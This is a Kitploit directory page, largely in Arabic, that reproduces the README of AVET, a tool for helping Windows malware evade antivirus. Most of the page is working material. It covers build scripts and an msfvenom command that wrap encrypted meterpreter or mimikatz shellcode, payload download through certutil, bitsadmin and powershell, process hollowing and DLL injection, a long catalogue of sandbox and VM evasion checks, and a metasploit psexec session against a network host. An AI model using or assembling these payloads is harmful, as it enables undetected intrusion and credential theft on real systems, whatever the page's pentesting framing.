Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
avet — أداة التهرب من برامج مكافحة الفيروسات | Kitploit
أدوات/GitHubGitHub/govolution/avet
أدوات التشفير/فك التشفيرأطر الاستغلالتوليد الحمولةالتهرب من IDS/IPSشيل كوداختبار الاختراقتعلم الآلةالأوراق والأبحاثالتعلم والتعليمالفريق الأحمرالهجوم العدائي
1.8k3311منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
govolution/avet

avet

أداة التهرب من برامج مكافحة الفيروسات

عرض المستودع

أداة تجاوز مضادات الفيروسات

لم يعد يتم تطوير AVET بسبب التطور التقني والقيود الزمنية.

AVET هي أداة تجاوز مضادات الفيروسات، تم تطويرها لتسهيل حياة مختبري الاختراق والتجربة مع تقنيات تجاوز مضادات الفيروسات، بالإضافة إلى الأساليب الأخرى التي تستخدمها البرمجيات الخبيثة. للحصول على نظرة عامة على الميزات الجديدة في v2.4، بالإضافة إلى إصدارات الإصدارات السابقة، ألق نظرة على ملف CHANGELOG.

جدول المحتويات

  • التثبيت

  • Docker

  • الطريقة السهلة لـ AVET

  • الطريقة العادية لـ AVET

  • التوثيق (انقر للتوسيع)
    • طرق استرجاع البيانات
    • التشفير والتشفير
    • تجنب صندوق الرمل
    • تنفيذ أوامر إضافية
    • أدوات مساعدة
    • AVET و metasploit psexec
    • أمثلة معادية
  • المزيد

بعض الميزات

  • عند تشغيل ملف .exe تم إنشاؤه باستخدام msfpayload وشركاه، غالبًا ما يتم التعرف على الملف بواسطة برامج مكافحة الفيروسات
  • AVET هي أداة تجاوز مضادات الفيروسات تستهدف أجهزة ويندوز بملفات تنفيذية
  • يمكن الآن استخدام أنواع مختلفة من الحمولات المدخلة: shellcode و exe و dlls
  • المزيد من التقنيات المتاحة: حقن shellcode/dll، تجويف العملية (process hollowing) والمزيد
  • طرق مرنة لاسترجاع الحمولة ومفتاح فك التشفير وما إلى ذلك
  • الاستخدام كـ dropper
  • يتيح ربط تكرارات متعددة من AVET إضافة طبقات تجنب متعددة إذا لزم الأمر
  • مزيج من التقنيات: قم بتنزيل حمولتك المشفرة عبر powershell، مع توفير مفتاح فك التشفير عبر وسيطة سطر الأوامر في وقت التنفيذ، ثم قم بحقن حمولتك في عملية أخرى، مع اختيار من بين تقنيات متعددة
  • فحوصات أساسية لصندوق الرمل (sandbox)
  • إنشاء أمثلة معادية ضد الكاشفات الثابتة القائمة على التعلم الآلي
  • تنفيذ جميع نصوص البناء المتاحة باستخدام build_script_tester.py، قد يكون أيضًا مثيرًا للاهتمام للباحثين لبناء مجموعة من العينات "الخبيثة" باستخدام تقنيات تجنب وحقن مختلفة

ملاحظة مهمة

ليست كل التقنيات ستتجاوز كل محرك مكافحة فيروسات. إذا لم تعمل تقنية أو نص بناء واحد، يرجى اختبار تقنية أخرى. لا تتردد في التجربة! بعد كل شيء، هذه مجموعة أدوات - لكن ينبغي عليك استخدام المطرقة بنفسك.

التثبيت

تنطبق تعليمات التثبيت على Kali 64bit و tdm-gcc!

يمكنك استخدام script الإعداد:```bash ./setup.sh

root@kitploit:~
This should automatically get you started by installing/configuring wine and installing tdm-gcc.
You'll shortly have to click through the tdm-gcc installer GUI though - standard settings should be fine.
The script will also ask if you want to install AVET's dependencies, which are needed to use some of the build scripts. The fetched dependencies will be put into separate folders next to the avet folder.


Dependencies will grab the latest releases of:
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)


If for whatever reason you want to install wine and tdm-gcc manually:
- [How to install tdm-gcc with wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)

## Docker

If you are not using Kali or don't want to install Metasploit on your system, you can use the Docker Container instead.
The container encapsulates Metasploit and avet and the samples will be created in your current directory.
It is also possible to use an graphical text editor like gedit.

Building the container:```bash
sudo docker build -t avet:v0.1 .

الاستخدام:```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash

root@kitploit:~
للحصول على تجربة أفضل، يُوصى بإنشاء alias لهذا.```bash
# In your .bash_profile, .bashrc or .bash_aliases

alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'

AVET بالطريقة السهلة

avet.py هي أداة بسيطة بلغة Python صُممت لمساعدتك في استخدام هذه الأداة.

تقوم بعرض كل السكريبتات الموجودة حالياً في مجلد البناء (build). بعد اختيار واحد، ستتمكن من التقدم خلال السكريبت سطراً سطراً، مع إمكانية تعديل المحتوى أثناء العمل.

الأمر الأخير مفيد بشكل خاص حيث يمكنك تعريف متغيرات LHOST و LPORT جديدة لـ msfvenom في كل مرة تقوم فيها بتشغيل سكريبت بناء عبر fabric. يمكنك تعريف قيم افتراضية لـ LHOST و LPORT في ملف /build/global_connect_config.sh، والتي تُستخدم إذا لم تقم بإعادة تعريفها.

هذه التعديلات مؤقتة، مما يعني أن أي تغييرات قمت بها لن تستمر في سكريبت البناء على القرص. يتم تنفيذ النسخة المعدلة مرة واحدة، ويتم بناء الملف التنفيذي الخاص بك.

إليك مثال سريع (اضغط للتوسيع):``` python3 avet.py
root@kitploit:~
                   .|        ,       +
         *         | |      ((             *
                   |'|       `    ._____
     +     ___    |  |   *        |.   |' .---"|
   _    .-'   '-. |  |     .--'|  ||   | _|    |
.-'|  _.|  |    ||   '-__  |   |  |    ||      |
|' | |.    |    ||       | |   |  |    ||      |

| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Welcome to the avet Assistant!

0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh

تنزيل الأداة

Which Script would you like to configure and build? Enter the corresponding number -> 43

DESCRIPTION :

RC4-encrypt the payload with a static, preset key.

Here, the mimikatz executable is used as payload, converted into shellcode format by pe_to_shellcode.

pe_to_shellcode is written by Hasherezade:

https://github.com/hasherezade/pe_to_shellcode

This script expects the Mimikatz executable to be at input/mimikatz.exe

and the pe_to_shellcode executable to reside in a folder parallel to avet: ../pe_to_shellcode/pe2shc.exe

Configure the Build Script

enable debug output

-> enable_debug_print

generate key file with preset key

-> generate_key preset aabbccdd1122

Do you want to add sandbox evasions? [y/N] -> N

Executable will be created Shortly please wait.

*** ============================================= ***

root@kitploit:~
     .==,_                                          
    .===,_`\\                                        
  .====,_ ` \\      .====,__                         

--- .==-,~. \\ :.__, --- ~~=-. \ /^^^ MEEP MEEP
--- ~~=. \\ / ~. \ /
~. \____./
`.=====)
_.--~~~--.
__\.--~~~ ~~~---..|/
~~~\" /


|\ __ |\ \ / /|\ \ |_ \ \ \ |\ \ \ \ / / | \ _ |__|\ _| \ \ __ \ \ / / / \ \ \ \ \ \
\ \ \ \ \ \ / / \ \ _
\ \ \ \ _\ _\ _/ / \ _\ \ __
|
|||||/ |___| ||

*** ============================================= ***

Reading module from: input/mimikatz.exe [WARNING] This is a console application! The recommended subsystem is GUI. [+] Saved as: input/sc_raw.txt Starting RC4 encoder... Reading payload from file input/sc_raw.txt, expecting raw format. payload size in bytes is 1309884 Reading key from file input/key_raw.txt, expecting raw format. Key length in bytes is 6 Applying RC4 algorithm Writing payload to file input/sc_enc_raw.txt

The decryption key is aabbccddee if it has not been changed.

You need to provide the decryption key as 2nd command line argument.

Call generated executable on target like:

$ rc4enc_mimikatz_win64.exe [your mimikatz arguments, probably 'coffee'] [decryption key]

Your executable should be in the output folder!

root@kitploit:~
</details>

## AVET بالطريقة العادية

بالطبع، من الممكن تشغيل جميع الأوامر خطوة بخطوة من سطر الأوامر. ومع ذلك، في مجلد "build" ستجد نصوص بناء (build scripts) مهيأة مسبقًا لحالات الاستخدام ذات الصلة.
نصوص البناء نفسها مكتوبة بحيث يجب استدعاؤها من داخل مجلد avet:```bash
kali@kali:~/tools/avet$ ./build/build_fopen_mtrprtrxor_revhttps_win64.sh

يمكنك تحديد قيم افتراضية لـ LHOST و LPORT لحمولات metasploit في ملف /build/global_connect_config.sh، والتي تُستخدم إذا لم تقم بإعادة تعريفها.

أمثلة الاستخدام

قم بإنشاء ملف تنفيذي لتجويف العمليات (process hollowing) 32 بت في خطوتين (كما في build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win32.sh):

أولاً، قم بإنشاء حمولة التجويف باستخدام AVET:

  • توليد شيلكود meterpreter/reverse_https 32 بت
  • سيتم تشفير شيلكود meterpreter باستخدام مفتاح XOR محدد مسبقًا بطول 5 بايت
  • سيتم تجميع الشيلكود داخل الملف التنفيذي الناتج
  • سيتم إجراء فحوصات تجنب الصندوق الرملي (sandbox evasion) البيئية باستخدام fopen و gethostbyname قبل تنفيذ الشيلكود

ثانيًا، قم ببناء الملف التنفيذي "الموزع" (dropper) الذي يسلم حمولة الخطوة الأولى عبر التجويف:

  • تجميع حمولة الخطوة الأولى بشكل ثابت داخل الملف التنفيذي
  • سيتم تشفير الحمولة باستخدام مفتاح XOR محدد مسبقًا مختلف بطول 5 بايت
  • مرة أخرى، سيتم إجراء فحوصات تجنب الصندوق الرملي البيئية باستخدام fopen و gethostbyname قبل التجويف
  • سيتم تسليم معرف العملية الهدف للتجويف عبر وسيطة سطر الأوامر وقت التنفيذ

وبهذا تحصل على حمولة meterpreter مشفرة ومختبرة بيئيًا من طبقتين، مجوفة في عملية من اختيارك. على الرغم من أن الإعدادات في سكريبت البناء هي لأغراض العرض التوضيحي في الغالب، إلا أن هناك مرونة كبيرة لتخصيص الملف التنفيذي الناتج عن طريق إجراء تعديلات بسيطة على سكريبت البناء.

يمكنك تبديل طرق استرجاع البيانات: بدلاً من تجميع معظم البيانات بشكل ثابت داخل الملف التنفيذي، يمكنك تنزيل حمولة التجويف الخاصة بك عبر powershell، أو تنزيل مفتاح فك التشفير عبر sockets، أو استخدام تشفير مختلف أو فحوصات بيئية، إلخ.

أو حاول إضافة طبقات إضافية من التهرب من خلال تكرار بناء ثالث. أو استبدل الحمولة. هل تريد استخدام Mimikatz بدلاً من ذلك؟ قم بتحويلها إلى شيلكود عبر https://github.com/hasherezade/pe_to_shellcode، وقم بتغيير الحمولة في سكريبت البناء.

بالطبع، يمكنك أيضًا تصميم بنى أكثر بساطة، مثل تنفيذ شيلكود غير مشفر مع فحص بيئي واحد فقط، أو ربما 50 تكرارًا من shikata كافية لتحقيق هدفك؟ اختر/عدّل سكريبتات البناء بما يناسب احتياجاتك.

سكريبتات البناء

أدناه، ستجد قائمة بجميع سكريبتات البناء المرفقة حاليًا. يجب أن توحي الأسماء بوظيفة كل سكريبت. للحصول على معلومات مفصلة، يُرجى مراجعة التعليقات داخل السكريبتات. لا تتردد في تعديل/كتابة سكريبتات البناء الخاصة بك لبناء ملفك التنفيذي المخصص!

اضغط للتوسيع ``` build_40xshikata_revhttpsunstaged_win32.sh build_50xshikata_revhttps_win32.sh build_50xshikata_quiet_revhttps_win32.sh build_asciimsf_fromcmd_revhttps_win32.sh build_asciimsf_revhttps_win32.sh build_avetenc_dynamicfromfile_revhttps_win32.sh build_avetenc_fopen_revhttps_win32.sh build_avetenc_mtrprtrxor_revhttps_win64.sh build_calcfromcmd_50xshikata_revhttps_win32.sh build_calcfrompowersh_50xshikata_revhttps_win32.sh build_cpucores_revhttps_win32.sh build_checkdomain_rc4_mimikatz.sh build_disablewindefpsh_xorfromcmd_revhttps_win64.sh build_dkmc_downloadexecshc_revhttps_win32.sh build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh build_downloadbitsadmin_revhttps_win32.sh build_downloadcertutil_revhttps_win32.sh build_downloadcurl_mtrprtrxor_revhttps_win64.sh build_downloadiexplorer_revhttps_win32.sh build_downloadpsh_revhttps_win32.sh build_downloadsocket_mtrprtrxor_revhttps_win64.sh build_downloadsocket_revhttps_win32.sh build_dynamicfromfile_revhttps_win32.sh build_fibonacci_rc4_mimikatz.sh build_fopen_mtrprtrxor_revhttps_win64.sh build_fopen_quiet_revhttps_win32.sh build_fopen_revhttps_win32.sh build_getchar_rc4_mimikatz.sh build_gethostbyname_revhttps_win32.sh build_hasvmkey_revhttps_win32.sh build_hasvmmac_revtcp_win32.sh build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh build_kaspersky_fopen_shellrevtcp_win32.sh build_mimikatz_pe2shc_xorfromcmd_win64.sh build_pause_rc4_mimikatz.sh build_rc4_interactive_pwsh_mimikatz_win64.sh build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh build_rc4enc_mimikatz_win64.sh build_sleep_rc4_mimikatz.sh build_sleepbyping_rc4_mimikatz.sh build_timedfibonacci_rc4_mimikatz.sh buildsvc_20xshikata_bindtcp_win32.sh ```

التوثيق

طرق استرجاع البيانات

هذه الطرق متوافقة مع جميع مصادر بيانات AVET ويمكن استخدامها كما هي في سكريبت البناء.

بعض الأمثلة:```

Compiles the command 'calc.exe' statically into the executable, which will then be executed via cmd at sample startup.

set_command_source static_from_here 'calc.exe' set_command_exec exec_via_cmd

Download 64-bit shellcode via powershell, and execute.

set_payload_source download_powershell set_payload_execution_method exec_shellcode64

Download XOR decryption key into memory. (Server to download from is always specified via first command line argument on execution). Decode the payload.

set_key_source download_socket set_decoder xor

Retrieves the tuple (target PID, dll path) from command line on execution

set_payload_info_source from_command_line_raw set_payload_execution_method inject_dll

root@kitploit:~
إذا تم تخطي/عدم استخدام الميزات، يجب عليك تحديد سلوك مشابه لـ NOP بدلاً من ذلك:```
set_command_source no_data
set_command_exec no_command

static_from_file

يتم استرداد البيانات من ملف ويتم تجميعها بشكل ثابت في الملف التنفيذي المُنشأ. لكي يعمل هذا، يجب توفير البيانات كمصفوفة بأسلوب C في وقت التجميع، مثل``` unsigned char buf[] = "\x00\x11\x22\x33";

root@kitploit:~
#### static_from_here
يتم تجميع البيانات بشكل ثابت في الملف التنفيذي المُنشأ،
يتم استرجاعها من الوسيطة المحددة في سكريبت البناء.

#### dynamic_from_file
تُقرأ البيانات من ملف في وقت التشغيل.

#### from_command_line_hex
يسترجع البيانات من سلسلة سداسية عشرية بتنسيق "11aabb22.." (من سطر الأوامر).

#### from_command_line_raw
يسترجع البيانات من وسيطة سطر أوامر. يتم تفسير السلسلة النصية ASCII المُعطاة كبيانات بايت خام.

#### download_certutil
يقوم بتنزيل البيانات من URI محدد، باستخدام ```certutil.exe -urlcache -split -f```.
يُسقط الملف الذي تم تنزيله على القرص قبل قراءة البيانات.

#### download_curl
يقوم بتنزيل البيانات باستخدام curl.
يُسقط الملف الذي تم تنزيله على القرص قبل قراءة البيانات.

#### download_internet_explorer
يقوم بتنزيل البيانات من URL محدد، باستخدام Internet Explorer.
يُسقط الملف الذي تم تنزيله على القرص قبل قراءة البيانات.

#### download_powershell
يقوم بتنزيل البيانات من URI محدد عبر powershell.
يُسقط الملف الذي تم تنزيله على القرص قبل قراءة البيانات.

#### download_socket
يقوم بتنزيل البيانات من URI محدد، باستخدام المقابس (sockets).
تُقرأ البيانات مباشرة في الذاكرة، ولا يتم إسقاط ملف على القرص.

#### download_bitsadmin
يقوم بتنزيل البيانات باستخدام الأداة المساعدة BITSAdmin لنظام Windows.
يُسقط الملف الذي تم تنزيله على القرص قبل قراءة البيانات.


### طرق تنفيذ الحمولة (Payload execution methods)
كيفية تنفيذ/توصيل الحمولة. تتطلب طرق الحقن/التجوف (injection/hollowing) معلومات إضافية حول الهدف، والتي يمكن تقديمها عبر ```set_payload_info_source <the_info>``` (انظر طرق استرجاع البيانات).

#### exec_shellcode
ينفذ كود شيل (shellcode) 32 بت باستخدام ربط دالة C.

#### exec_shellcode64
ينفذ كود شيل 64 بت باستخدام ربط دالة C و VirtualProtect.

#### exec_shellcode_ASCIIMSF
ينفذ كود شيل مشفر بتشفير ASCIIMSF عبر ```call eax```.

#### hollowing32
ينشئ عملية جديدة، يقطع الصورة الأصلية ويجوف الحمولة المُعطاة في العملية الجديدة.
الحمولة هي صورة قابلة للتنفيذ 32 بت. يعمل على الأهداف 32 بت.

#### hollowing64
نفس hollowing32، لكن باستخدام حمولات PE 64 بت للأهداف 64 بت.

#### inject_dll
يحقن مكتبة dll في عملية هدف، باستخدام ```CreateRemoteThread```.
يعمل الحقن لحمولات 32 بت في عمليات 32 بت، وحمولات 64 بت في عمليات 64 بت، على التوالي.

#### inject_shellcode
يحقن كود شيل في عملية هدف، باستخدام ```CreateRemoteThread```.
يعمل الحقن لكود شيل 32 بت في عمليات 32 بت، وكود شيل 64 بت في عمليات 64 بت، على التوالي.


### التشفير والترميز
يوفر AVET مشفرات لكل مخطط، يمكن تطبيقها على الحمولة قبل التجميع/التوصيل.
عند التنفيذ، يقوم المفكك المحدد بعد ذلك بإزالة التعتيم عن الحمولة في وقت التشغيل.

فيما يلي مثال على RC4، حيث يتم استرجاع مفتاح فك التشفير من سطر الأوامر بتنسيق سداسي عشري في وقت التنفيذ:```
generate_key preset aabbccddee input/key_raw.txt
encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt
set_key_source from_command_line_hex
set_decoder rc4

يمكنك أيضًا تخطي ميزة الترميز بعدم ترميز shellcode بشكل إضافي، وتعيين:``` set_key_source no_data set_decoder none

root@kitploit:~
#### xor
XOR المتداول، يدعم مفاتيح متعددة البايت.

#### avet
ترميز مخصص، إعادة تفسير تنسيق ASCII.

#### rc4
تشفير/فك تشفير RC4، مع طول مفتاح مرن.

### تجنب المصحح وصندوق الرمل
هذه هي فحوصات بيئية تُجرى قبل الترميز النهائي وتنفيذ الحمولة. إذا تم اكتشاف بيئة تنفيذ غير مرغوب فيها (مثل صندوق رمل لمكافحة الفيروسات)، يتوقف التنفيذ.

حاليًا، يمكنك وضع ما يصل إلى 10 فحوصات بشكل عشوائي. يُدعم استخدام نفس التقنية عدة مرات. يمكن تعديل حد الطابور *EVASION_ARRAY_SIZE* بسهولة في *avet.c*.

#### التحقق من وجود المصحح
التحقق باستخدام دالة isDebuggerPresent() من وجود مصحح. الخروج إذا كان موجودًا.```
add_evasion is_debugger_present

sleep

انتظر لمدة معينة قبل التنفيذ. يمكن تحديد المدة(بالثواني) في سكريبت البناء، مثل```

sleep for 3 seconds

add_evasion evasion_by_sleep 3

root@kitploit:~
#### النوم باستخدام ping
إيقاف تنفيذ البرنامج لعدد محدد من الثواني عن طريق استدعاء أمر ping بفاصل زمني ضد localhost.
يقوم البرنامج بإرسال ping مرة واحدة كل ثانية.```
add_evasion sleep_by_ping 4

التحقق من التقديم السريع

تحقق مما إذا كان الصندوق الرملي يستخدم التقديم السريع لتقليل وقت الفحص الاستدلالي. يتم استخدام الوقت المحلي والنوم.``` add_evasion check_fast_forwarding

root@kitploit:~
#### get tickcount
تحقق مما إذا كان الصندوق الرملي يستخدم التسريع السريع لتقليل وقت الفحص الإرشادي. يتم استخدام وقت التشغيل والسكون.```
add_evasion get_tickcount

اسم المستخدم

احصل على اسم المستخدم وقارنه باسم المستخدم المعطى. اخرج إذا لم يتطابق.``` add_evasion has_username 'IEUser'

root@kitploit:~
#### Messagebox
قم بإنشاء Messagebox بسيط قبل التنفيذ. إذا لم يتم حل المسألة الحسابية بشكل صحيح، يخرج البرنامج.```
add_evasion interaction_msg_box

getchar

انتظر حتى يتم تسليم الإدخال باستخدام getchar.``` add_evasion interaction_getchar

root@kitploit:~
#### system pause
تنفيذ system("pause")، مما يؤدي إلى انتظار cmd المستنسخ (وعمليةنا الرئيسية) لأي ضغطة مفتاح.```
add_evasion interaction_system_pause

fopen

يتحقق من وجود ملف. إذا لم يتم العثور عليه، يتم إيقاف التنفيذ. يمكن تحديد اسم الملف في سكربت البناء، مثل``` add_evasion fopen_sandbox_evasion 'c:\windows\system.ini'

root@kitploit:~
#### معلومات BIOS
يتحقق مما إذا كان من الممكن جلب جدول البرامج الثابتة SMBIOS. إيقاف التنفيذ إذا لم يكن كذلك.```
add_evasion get_bios_info

gethostbyname

حاول حل اسم مضيف من اختيارك. إذا أعادت gethostbyname قيمة غير مساوية لـ NULL، أوقف التنفيذ. يمكن تحديد اسم المضيف المراد التحقق منه في سكريبت البناء، مثل``` add_evasion gethostbyname_sandbox_evasion 'testdomain.com'

root@kitploit:~
#### get_cpu_cores
يتحقق من عدد أنوية المعالجة على الهدف. إذا كان العدد أقل من القيمة المحددة، يتم إيقاف التنفيذ.```
add_evasion get_cpu_cores 2

has_vm_mac

يتحقق من بادئات MAC الخاصة بالبائع. إذا تم التعرف على أي منها، أوقف التنفيذ.``` add_evasion has_vm_mac

root@kitploit:~
#### has_vm_regkey
تفحص مفاتيح التسجيل الخاصة بالبائعين. إذا تم التعرف على أي منها، توقف التنفيذ.```
add_evasion has_vm_regkey

hide_console

ليست تقنية تهرب حقيقية، ولكنها تخفي نافذة وحدة التحكم الخاصة بك ;)``` add_evasion hide_console

root@kitploit:~
#### تاريخ التثبيت
جلب تاريخ تثبيت ويندوز ومقارنته بالتاريخ المحدد. إذا لم تتطابق التواريخ، أوقف التنفيذ. يجب تحديد التاريخ بصيغة dd/mm/yyyy.```
add_evasion get_install_date '24/11/2007'

عدد العمليات

قم بعد عدد العمليات الجارية. إذا كان عدد العمليات أقل من الحد المحدد، أوقف التنفيذ.``` add_evasion get_num_processes 50

root@kitploit:~
#### Standard Browser
اقرأ مفتاح التسجيل للحصول على المتصفح الافتراضي. إذا لم يتطابق المتصفح مع القيمة المعطاة، قم بإيقاف التنفيذ. القيم الممكنة هي MSEdgeHTM أو Firefox أو ChromeHTML.```
add_evasion get_standard_browser 'Firefox'

النطاق

يستعلم عن نطاق DNS الذي يوجد فيه الهدف. إذا لم يكن الهدف في النطاق المتوقع كما هو محدد، يخرج البرنامج.``` add_evasion get_computer_domain 'domain.com'

root@kitploit:~
#### الحساب
Fibonacci

احسب التكرارات المحددة من متتالية فيبوناتشي.
من المحتمل أن ينتج نتائج غير صحيحة لقيم n الأكبر بسبب حدود الأعداد الصحيحة.```
# 10 iterations
add_evasion computation_fibonacci 10

فيبوناتشي الموقوت

يوقف حسابات فيبوناتشي بعد حوالي الثواني المحددة.```

Stops computation after 20 seconds

add_evasion computation_timed_fibonacci 20

root@kitploit:~
#### المجلدات والمزيد
تحقق من وجود Artifact، أوقف التنفيذ إذا لم يكن موجودًا. يجب أن تكون المسارات بنظام يونكس.

خلفية سطح المكتب:```
add_evasion has_background_wp

تحقق من وجود المجلد:``` add_evasion has_folder 'C:/Users/user/Downloads/'

root@kitploit:~
التحقق من سطح المكتب العام:```
add_evasion has_public_desktop

التحقق من سلة المحذوفات``` add_evasion has_recycle_bin

root@kitploit:~
التحقق من مجلد الملفات الحديثة```
add_evasion has_recent_files

التحقق من محرك أقراص الشبكة``` add_evasion has_network_drive

root@kitploit:~
### تنفيذ أوامر إضافية
يمنحك القدرة على تنفيذ حمولة cmd/powershell إضافية مباشرة بعد وظائف تجنب الصندوق الرملي المحتملة.
مصدر الحمولة متوافق مع طرق استرجاع البيانات الخاصة بـ AVET.

المثال التالي يقوم بتحميل حمولة powershell عبر BITSAdmin:```
set_command_source download_bitsadmin
set_command_exec exec_via_powershell

أدوات المساعدة

data_raw_to_c

يأخذ بيانات خام كمدخل من ملف، ويحولها إلى تنسيق مصفوفة C، ويكتب المخرجات إلى ملف آخر. يساعد ذلك في توفير التنسيق الصحيح لطريقة استرجاع البيانات static_from_file.

generate_key

أداة توليد المفاتيح. تولد إما مفتاحًا عشوائيًا (غير آمن تشفيريًا) أو تأخذ مفتاحًا محددًا كمدخل، وتخرج بيانات المفتاح الخام إلى ملف محدد. يساعد ذلك في توفير مادة المفتاح لميزة التشفير في AVET.

sh_format

أداة من AVET 1.3 تقوم بتشفير AVET.

AVET & metasploit psexec

AVET متوافق مع وحدة psexec الخاصة بـ metasploit. لذلك، يجب تجميع الملف القابل للتنفيذ الذي تم إنشاؤه كخدمة ويندوز، وهو ما يتم تنفيذه باستخدام avetsvc.c. انظر إلى سكريبت البناء النموذجي المقابل

build_svc_20xshikata_bindtcp_win32.sh:``` #!/bin/bash

Designed for use with msf psexec module!

print AVET logo

cat banner.txt

include script containing the compiler var $win32_compiler

you can edit the compiler in build/global_win32.sh

or enter $win32_compiler="mycompiler" here

. build/global_win32.sh

import global default lhost and lport values from build/global_connect_config.sh

. build/global_connect_config.sh

override connect-back settings here, if necessary

LPORT=$GLOBAL_LPORT

make meterpreter bind payload, encoded 20 rounds with shikata_ga_nai

msfvenom -p windows/meterpreter/bind_tcp lport=$LPORT -e x86/shikata_ga_nai -i 20 -f raw -a x86 --platform Windows > input/sc_raw.txt

import feature construction interface

. build/feature_construction.sh

add evasion techniques

add_evasion fopen_sandbox_evasion 'c:\windows\system.ini' add_evasion gethostbyname_sandbox_evasion 'this.that'

generate key file

generate_key preset aabbcc12de input/key_raw.txt

encode shellcode

encode_payload xor input/sc_raw.txt input/scenc_raw.txt input/key_raw.txt

array name buf is expected by static_from_file retrieval method

./tools/data_raw_to_c/data_raw_to_c input/scenc_raw.txt input/scenc_c.txt buf

no command preexec

set_command_source no_data set_command_exec no_command

set shellcode source

set_payload_source static_from_file input/scenc_c.txt

convert generated key from raw to C into array "key"

./tools/data_raw_to_c/data_raw_to_c input/key_raw.txt input/key_c.txt key

set key source

set_key_source static_from_file input/key_c.txt

set payload info source

set_payload_info_source no_data

set decoder

set_decoder xor

set shellcode binding technique

set_payload_execution_method exec_shellcode

enable debug printing

enable_debug_print to_file C:/avetdbg.txt

compile as service

$win32_compiler -o output/service.exe source/avetsvc.c -lws2_32 strip output/service.exe

cleanup

cleanup_techniques

root@kitploit:~
وعلى جانب metasploit:```
msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe
EXE::custom => /root/tools/ave/pwn.exe
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost 192.168.116.183
rhost => 192.168.116.183
msf exploit(psexec) > set smbuser dax
smbuser => dax
